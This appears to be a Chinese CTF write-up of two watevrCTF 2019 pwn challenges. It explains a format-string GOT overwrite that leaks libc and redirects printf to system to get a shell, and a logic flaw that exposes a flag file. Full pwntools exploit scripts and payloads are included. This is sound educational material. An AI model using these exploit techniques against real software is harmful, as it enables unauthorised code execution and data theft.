Voting Machine 2

[watevrCTF 2019]Voting Machine 2
悄悄话:应大佬话语格式化字符串的 payload 构造最好自己手搓,所以这题我就复杂了点手动构造,用 fmtstr_payload 构造的我有写注释贴脚本中(从其他大佬的脚本中学过来的),不过具体的没调试,不知道通不通,知识点理了很久,就没写(哭笑),具体可以看大佬原文
这里虽然搓是搓出来了,但本人栈的调试不是很好,所以更详细的调试过程就不展示了,差不多就是多尝试,没什么报错就是对的(无奈),还是要多学习


前置知识点:

  1. 动态链接的程序中:
  • PLT 表(Procedure Linkage Table,过程链接表):是程序中函数调用的 “跳板”,存储着跳转到 GOT 表对应条目的指令。
  • GOT 表:存储着函数在内存中的实际地址(程序加载时由动态链接器填充)。程序调用函数时,会先通过 PLT 表跳转到 GOT 表,再根据 GOT 表中存储的地址找到实际函数。
    举例:
    当程序执行printf("xxx")时,流程是:
    call printf@plt → 跳转到printf的 PLT 表项 → 跳转到printf的 GOT 表项 → 执行实际的printf函数。
  1. fmtstr_payload 函数:
    fmtstr_payload 函数的设计逻辑是:每个写入操作的地址必须是独立的、不连续的
    fmtstr_payload 对 “连续地址写入” 的严格校验:
    fmtstr_payload 函数内部对 “连续地址写入” 有严格校验,即使是同一变量的不同字节(如 0x804979c0x804979d0x804979e 这种连续地址),也会被判定为 “地址重叠” 而拒绝生成 payload。
  2. 格式化字符串漏洞修改内存:
    通过控制输出字符数来间接修改内存:
    利用%n系列占位符的 “输出计数写入” 特性,通过控制输出的字符总数,间接将目标值写入指定内存地址。
    这种 “间接性” 是由格式化函数的设计决定的,也是漏洞利用的核心技巧 —— 攻击者需要精确计算输出字符数,才能让%n写入预期的值。
    (不是直接修改数值)
  • %c:输出一个字符。
  • %n:将当前已输出的字符总数写入指定地址。
  • %k$hn:将字符总数写入第 k 个参数指向的地址(hn 表示写入 2 字节)。
  1. 16 位整数的溢出特性
  • 16 位无符号整数的取值范围是 0x0000 到 0xFFFF(即 0 到 65535),最大值为 0xFFFF
  • 0x10000 等于 65536,恰好是 16 位无符号整数的溢出边界—— 当数值超过 0xFFFF 时,会自动截断为低 16 位(相当于对 0x10000 取模)。

准备


32位开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char format[50]; // [esp+0h] [ebp-3Ah] BYREF
int *p_argc; // [esp+32h] [ebp-8h]

p_argc = &argc;
signal(14, (__sighandler_t)exit_f);
alarm(5u);
puts("Hello and welcome to \x1B[3mour\x1B[23m voting application!");
puts("We noticed that there occured a slight buffer overflow in the previous version.");
puts("Now we never return, so the problem should be solved? Right?");
puts("Today you are the one who decides what we will vote about.\n");
printf("Topic: ");
fflush(stdin);
fflush(stdout);
__isoc99_scanf("%[^\n]%*c", format);
printf(format);
puts("\nWill be the voting topic of today!");
exit(0);
}

开始先设置了 5 秒的计时,强制程序 5 秒后退出
下面有一个输入,存在格式化字符串漏洞

思路

这里有格式化字符串漏洞,没有 system 函数,没有 '/bin/sh' 等连接路径
所以要先利用格式化字符串漏洞去修改 exitmain 函数来可以多次触发,在获得 libc 基址,进而得到 system 的地址,最后通过劫持 printfgot 表为 system 和输入 /bin/sh 来获得 shell
先利用 aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p 获取偏移(写入参数位置)

参数位置为7,若要输入完整的地址,还需在填充两个偏移,写在第 8 个参数上
接下来利用格式化字符串漏洞去修改 exitmain 函数手动构造 payload
分高字节和低字节进行修改,避免因单次写入数据过大而触发漏洞限制

1
2
3
4
5
6
7
8
9
10
11
exit=elf.got['exit']
main=elf.sym['main']
printf_got=elf.got['printf']
puts_got=elf.got['puts']

lowm=main & 0xFFFF
highm=(main >> 16) & 0xFFFF
payload=b'aa'+p32(exit+2)+p32(exit)
payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode()
# payload=fmtstr_payload(7,{exit:main},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)

因为我这里没改文件的 libc ,动态文件又不太方便,所以我在写出获取 printf 地址,进而有 libc 基址,system 地址,最后可以打通本地后,选择打远程,加了个获取 puts 地址,[网上查找](libc database search) libc 文件,获取固定偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(os='linux',log_level = 'debug')
io=remote('node5.anna.nssctf.cn',20570)
# io= process('/home/motaly/vm')
elf = ELF('/home/motaly/vm')


exit=elf.got['exit']
main=elf.sym['main']
printf_got=elf.got['printf']
puts_got=elf.got['puts']

lowm=main & 0xFFFF
highm=(main >> 16) & 0xFFFF
payload=b'aa'+p32(exit+2)+p32(exit)
payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode()
# payload=fmtstr_payload(7,{exit:main},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)

payload=b'aa'+p32(printf_got)+b'xxxx'+b'%8$s'
io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'xxxx')
printf_addr=u32(io.recv(4))
log.success('printf_addr: '+hex(printf_addr))

payload=b'aa'+p32(puts_got)+b'xxxx'+b'%8$s'
io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'xxxx')
puts_addr=u32(io.recv(4))
log.success('puts_addr: '+hex(puts_addr))
pause()
io.interactive()

b'%8$s' 是因为写入的参数位置为7,用两个 a 填充后,写入的 printf 函数地址就在第 8 个位置,这个的作用是从栈上第 8 个参数位置读取一个地址,并将该地址指向的内容作为字符串输出
前面的 b'xxxx' 是为了更好的接收 printf 函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
exit=elf.got['exit']
main=elf.sym['main']
printf_got=elf.got['printf']
puts_got=elf.got['puts']

lowm=main & 0xFFFF
highm=(main >> 16) & 0xFFFF
payload=b'aa'+p32(exit+2)+p32(exit)
payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode()
# payload=fmtstr_payload(7,{exit:main},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)

payload=b'aa'+p32(printf_got)+b'xxxx'+b'%8$s'
io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'xxxx')
printf_addr=u32(io.recv(4))
log.success('printf_addr: '+hex(printf_addr))

payload=b'aa'+p32(puts_got)+b'xxxx'+b'%8$s'
io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'xxxx')
puts_addr=u32(io.recv(4))
log.success('puts_addr: '+hex(puts_addr))

libc_base=printf_addr-0x050b60
log.success('libc_base: ' + hex(libc_base))
system=libc_base+0x03cd10
log.success('system: ' + hex(system))

最后劫持 printfgot 表为 system 和输入 /bin/sh 来获得 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
exit=elf.got['exit']
main=elf.sym['main']
printf_got=elf.got['printf']
puts_got=elf.got['puts']

lowm=main & 0xFFFF
highm=(main >> 16) & 0xFFFF
payload=b'aa'+p32(exit+2)+p32(exit)
payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode()
# payload=fmtstr_payload(7,{exit:main},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)

payload=b'aa'+p32(printf_got)+b'xxxx'+b'%8$s'
io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'xxxx')
printf_addr=u32(io.recv(4))
log.success('printf_addr: '+hex(printf_addr))

payload=b'aa'+p32(puts_got)+b'xxxx'+b'%8$s'
io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'xxxx')
puts_addr=u32(io.recv(4))
log.success('puts_addr: '+hex(puts_addr))

libc_base=printf_addr-0x050b60
log.success('libc_base: ' + hex(libc_base))
system=libc_base+0x03cd10
log.success('system: ' + hex(system))

lows=system & 0xFFFF
highs=(system >> 16) & 0xFFFF
payload=b'aa'+p32(printf_got+2)+p32(printf_got)
payload+=(f'%{highs-10}c%8$hn'+f'%{(lows - highs) % 0x10000}c%9$hn').encode()
# payload=fmtstr_payload(7,{printf_got:system},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)

io.sendline('/bin/sh\x00')

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(os='linux',log_level = 'debug')
io=remote('node5.anna.nssctf.cn',20570)
# io= process('/home/motaly/vm')
elf = ELF('/home/motaly/vm')

exit=elf.got['exit']
main=elf.sym['main']
printf_got=elf.got['printf']
puts_got=elf.got['puts']

lowm=main & 0xFFFF
highm=(main >> 16) & 0xFFFF
payload=b'aa'+p32(exit+2)+p32(exit)
payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode()
# payload=fmtstr_payload(7,{exit:main},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)

payload=b'aa'+p32(printf_got)+b'xxxx'+b'%8$s'
io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'xxxx')
printf_addr=u32(io.recv(4))
log.success('printf_addr: '+hex(printf_addr))

payload=b'aa'+p32(puts_got)+b'xxxx'+b'%8$s'
io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'xxxx')
puts_addr=u32(io.recv(4))
log.success('puts_addr: '+hex(puts_addr))

libc_base=printf_addr-0x050b60
log.success('libc_base: ' + hex(libc_base))
system=libc_base+0x03cd10
log.success('system: ' + hex(system))

lows=system & 0xFFFF
highs=(system >> 16) & 0xFFFF
payload=b'aa'+p32(printf_got+2)+p32(printf_got)
payload+=(f'%{highs-10}c%8$hn'+f'%{(lows - highs) % 0x10000}c%9$hn').encode()
# payload=fmtstr_payload(7,{printf_got:system},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)

io.sendline('/bin/sh\x00')
io.interactive()

Wat-sql

[watevrCTF 2019]Wat-sql


知识点:
DWORD 是一个 typedef 类型,在不同的编程环境下,其具体定义可能有所不同,但一般而言:

  • 它表示 “双字”(Double Word)。
  • 长度为 32 位,也就是 4 字节,相当于unsigned int
  • 若代码中采用_DWORD这种写法,往往是自定义的类型别名,例子:
1
typedef unsigned int _DWORD; // 32位无符号整数

DWORD* 是指向DWORD类型的指针,它具备以下特点:

  • 内存访问:借助该指针能够访问 4 字节的数据。
  • 指针运算:当指针进行加减操作时,步长为 4 字节。
  • 常见用途:多用于处理二进制数据、内存块或者 32 位数值数组。

准备


64 位开了 CanaryNX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall main(int a1, char **a2, char **a3)
{
s2 = (char *)malloc(0x20uLL);
signal(14, (__sighandler_t)handler);
alarm(0x28u);
sub_40128B();
if ( *((_DWORD *)s2 + 8) != 7955827 )
exit(0);
puts("Welcome to wat-sql!");
puts("This project was made as an extention to the super successful project, sabataD!");
puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!");
sub_40115F();
}

看到这里开头有一个 sub_40128B 函数
只有满足 sub_40128B 函数中的限制条件后,才会继续运行程序
最后运行 `sub_40115F 函数

sub_40128B函数

1
2
3
4
5
6
7
8
9
10
int sub_40128B()
{
printf("%s", "Demo activation code: ");
fflush(stdout);
fgets(s2, 36, stdin);
if ( !strcmp("watevr-sql2019-demo-code-admin", s2) && *((_DWORD *)s2 + 8) == 7955827 )
return puts("Demo access granted!");
else
return puts("Demo access not granted!");
}

这里先是一个读取,读取最大 36 个字符给 s2
在下面是 if 判断
先比较 s2 是否与 watevr-sql2019-demo-code-admin 是否相同
在验证 s2 的第 33-36 位是否为 7955827(0x796573)
(第 33-36 位的原因是:
这里把 s2 转换成DWORD*类型(4 字节指针),并偏移 8 个 DWORD (即 32 字节),*((_DWORD *)s2 + 8)指向s2 + 8×4 = s2 + 32(第 33 字节))

sub_40115F函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void sub_40115F()
{
while ( 1 )
{
while ( 1 )
{
printf("%s", "Query: ");
fflush(stdout);
fgets(haystack, 20, stdin);
if ( !strstr(haystack, "read") )
break;
if ( ++dword_602100 > 2 )
{
printf("You have exhausted the request limit for your wat-sql demo!");
__asm { retn }
}
sub_400E30();
}
if ( strstr(haystack, "write") )
{
sub_400FB7();
if ( ++dword_602100 > 2 )
{
printf("You have exhausted the request limit for your wat-sql demo!");
__asm { retn }
}
}
else
{
puts("Unrecognised command!");
}
}
}

这里进入循环,有一个读取输入点给 haystack ,选择 read 还是 write ,并会记录两者的总调用次数,超过两次会拒绝访问
先看选择 read 时,会调用 sub_400E30 函数
再看选择 write 时,会调用 sub_400FB7 函数

read-sub_400E30函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int sub_400E30()
{
int result; // eax

printf("%s", "database to read from: ");
fflush(stdout);
fgets(name, 100, stdin);
strtok(name, "\n");
if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC )
{
result = puts("You are not allowed access to that database!");
dword_6020FC = 0;
}
else
{
dword_6020FC = 1;
if ( access(name, 0) == -1 )
{
return puts("Tried to open non-existing database");
}
else
{
printf("%s", "database to read: ");
fflush(stdout);
fgets(nptr, 7, stdin);
dword_6022A0 = atoi(nptr) + 1;
pthread_create(&th, 0LL, start_routine, 0LL);
result = pthread_join(th, 0LL);
dword_6020FC = 0;
}
}
return result;
}

先读取一个输入给 name ,并移除换行符
在下面用 if 判断对读取的 name 进行判断
第一条:
检查 name 中是否有 flag ,是否有字符 * (42 是 * 的 ASCII 码值),是否有字符 ? (63 是 ?ASCII 码值),三个条件中的任意一个满足,结果就为真
第二条:
检查权限状态,!dword_6020FC 意味着当该变量的值为 0 时,结果就为真
这里会有三种情况:
1.无权限( dword_6020FC=0 ),无限制字符,会是这里

1
2
3
4
{
return puts("Tried to open non-existing database");
}

2.无权限( dword_6020FC=0 ),输入限制字符,会是这里

1
2
3
4
{
result = puts("You are not allowed access to that database!");
dword_6020FC = 0;
}

3.只有有权限( dword_6020FC=1 ),再输入限制字符,才会到下面输入 flag ,得到 flag 数据库中的内容

1
2
3
4
5
6
7
8
9
10
else
{
printf("%s", "database to read: ");
fflush(stdout);
fgets(nptr, 7, stdin);
dword_6022A0 = atoi(nptr) + 1;
pthread_create(&th, 0LL, start_routine, 0LL);
result = pthread_join(th, 0LL);
dword_6020FC = 0;
}

这个函数的这里是整个程序的关键

1
2
3
4
5
6
7
else
{
dword_6020FC = 1;
if ( access(name, 0) == -1 )
{
return puts("Tried to open non-existing database");
}

是一个逻辑漏洞
当我们没有输入上面的限制字符,只是没有权限(也就是随便输入了一段字符串)时,就会到这里,他直接给了权限

1
dword_6020FC = 1;

此时我们再次选择 read 函数,并且输入 flag ,有了权限,会跳转到这里

1
2
3
4
5
6
7
8
9
10
else
{
printf("%s", "database to read: ");
fflush(stdout);
fgets(nptr, 7, stdin);
dword_6022A0 = atoi(nptr) + 1;
pthread_create(&th, 0LL, start_routine, 0LL);
result = pthread_join(th, 0LL);
dword_6020FC = 0;
}

我们输入 flag ,就会读取 flag

write-sub_400FB7函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int sub_400FB7()
{
int result; // eax

printf("%s", "database to write to: ");
fflush(stdout);
fgets(name, 100, stdin);
strtok(name, "\n");
if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC )
{
result = puts("You are not allowed access to that database!");
dword_6020FC = 0;
}
else
{
dword_6020FC = 1;
if ( access(name, 0) == -1 )
{
return puts("Tried to open non-existing database");
}
else
{
printf("%s", "Database to write to: ");
fflush(stdout);
fgets(nptr, 8, stdin);
printf("%s", "Data to write: ");
fflush(stdout);
fgets(s_0, 200, stdin);
dword_6022A0 = atoi(nptr);
return pthread_create(&newthread, 0LL, sub_400CE0, 0LL);
}
}
return result;
}

这里跟 read 调用的函数差不多,只不过这里是写入,不是读取,所以这里没什么用

思路

主要用选择 read ,调用的函数里存在的逻辑漏洞,来读取 flag
1.先绕过选择之前的限制
2.选择 read,随便输入一个 name 值,触发漏洞,获得权限
3.再次选择 read ,输入 flag ,进入最后的读取,输入 flag ,得到 flag
先输入 watevr-sql2019-demo-code-admin 和 7955827(0x796573) 绕过限制

1
2
payload=b'watevr-sql2019-demo-code-admin'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)

发现这里输入没绕过限制

我们地址的输入点是第33字节,这里提前了两位,所以加两位填充
接着按思路写入

1
2
3
4
5
6
7
8
payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)

io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')

脚本

这题我本地没通,但远程是通的,连通后随便输入一个值,在 Data: 后就是 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',24724)
io= process('/home/motaly/sql')

payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)

io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
io.interactive()